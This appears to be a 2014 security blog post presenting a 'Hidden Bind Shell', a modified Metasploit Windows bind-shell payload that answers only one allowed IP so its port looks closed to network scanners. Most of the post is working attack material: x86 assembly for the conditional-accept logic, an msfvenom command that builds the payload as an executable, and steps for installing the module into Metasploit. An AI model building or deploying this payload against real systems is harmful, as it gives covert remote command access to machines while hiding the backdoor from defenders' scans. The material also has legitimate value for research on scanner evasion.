Monday, March 3, 2014

Hidden Bind Shell: Keep your shellcode hidden from scans

Many organizations use tools like NexposeNessus or Nmap to perform periodic scans of their networks and to look for new/unidentified open ports. In this kind of environment it’s difficult that our bindshell goes unnotice. For this reason, after finishing the ACL Bind Shellcode it occurred to me that the payload could be further improved so that it was only visible to the IP I wanted. The result is another alternative to the ACL Bind Shell called "Hidden Bind Shell". The payload will also be a modified version of the Stephen Fewer shell_bind_tcp.

The idea is that our shellcode responds with a RST to any connection attempt coming from an IP different than the one we set in the shellcode (defined by the variable AHOST, allowed Host). This is a good way to keep the shellcode hidden from scanning tools since our socket will appear as "CLOSED" (in Windows XP you won't even see anything locally from the netstat output).

To achieve this without implementing raw sockets I have used the setsockopt API setting the SO_CONDITIONAL_ACCEPT option to true. With this configuration whenever someone tries to establish a new connection, the TCP stack will not respond with a SYN-ACK (as it does by default) but its management is delegated to the shellcode itself which will decide, based on the source IP address, whether accept or not the connection. This condition can be defined by the conditional accept callback registered with WSAAccept

The code in charge of applying this functionality, in this first version, is shown below:

  push 0x1                    ; size, in bytes, of the buffer pointed to by the "optval" parameter
  push esp                     ; optval: pointer to the buffer in which the value for the requested option is specified 
  push 0x3002              ; level at which the option is defined: SOL_SOCKET
  push 0xFFFF             ; the socket option: SO_CONDITIONAL_ACCEPT
  push edi                     ; socket descriptor
  push 0x2977A2F1     ; hash( "ws2_32.dll", "setsockopt" )
  call ebp                      ; setsockopt(s, SOL_SOCKET, SO_CONDITIONAL_ACCEPT, &bOptVal, 1 );
  push ebx                    ; backlog
  push edi                     ; socket
  push 0xFF38E9B7     ; hash( "ws2_32.dll", "listen" )
  call ebp                      ; listen( s, 0 );
  push ebx                             ; dwCallbackData (ebx = 0, no data needed for the condition function)
  call wsaaccept                     ; push the start of the condition function on the stack
  mov eax, DWORD [esp 4]    
  mov eax, DWORD [eax 4]   
  mov eax, DWORD [eax 4]  ; get the client IP returned in the stack
  sub eax, 0x2101A8C0        ; compare the client IP with the IP allowed
  jz return                               ; if equal returns CF_ACCEPT
  xor eax, eax                         ; If not equal, the condition function returns CF_REJECT
  inc eax
  retn 0x20               ; some stack alignment needed to return to mswsock
  push ebx                       ; length of the sockaddr = nul
  push ebx                       ; struct sockaddr = nul
  push edi                        ; socket descriptor
  push 0x33BEAC94       ; hash( "ws2_32.dll", "wsaaccept" )
  call ebp                         ; wsaaccept( s, 0, 0, &fnCondition, 0)
  cmp eax, -1                  ; if error jump to condition function to wait for another connection
  jz condition
Its use will be exactly the same as the ACL Bind Shell. We will use the AHOST variable to specify the IP that will have visibility to the shellcode. For example, to make the shellcode accessible only from the IP we would run msfvenom as follows:

root@krypton:~# msfvenom -p windows/shell_hidden_bind_tcp LPORT=54321 AHOST= -f exe > hidden_shell.exe

For now, the payload is available on my github account. To use it, download the handler and the payload and place them in metasploit-framework/lib/msf/core/handler and metasploit-framework/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb  respectively.

The single and stager version is already included in Metasploit.

Here a how-to video:

1 comment: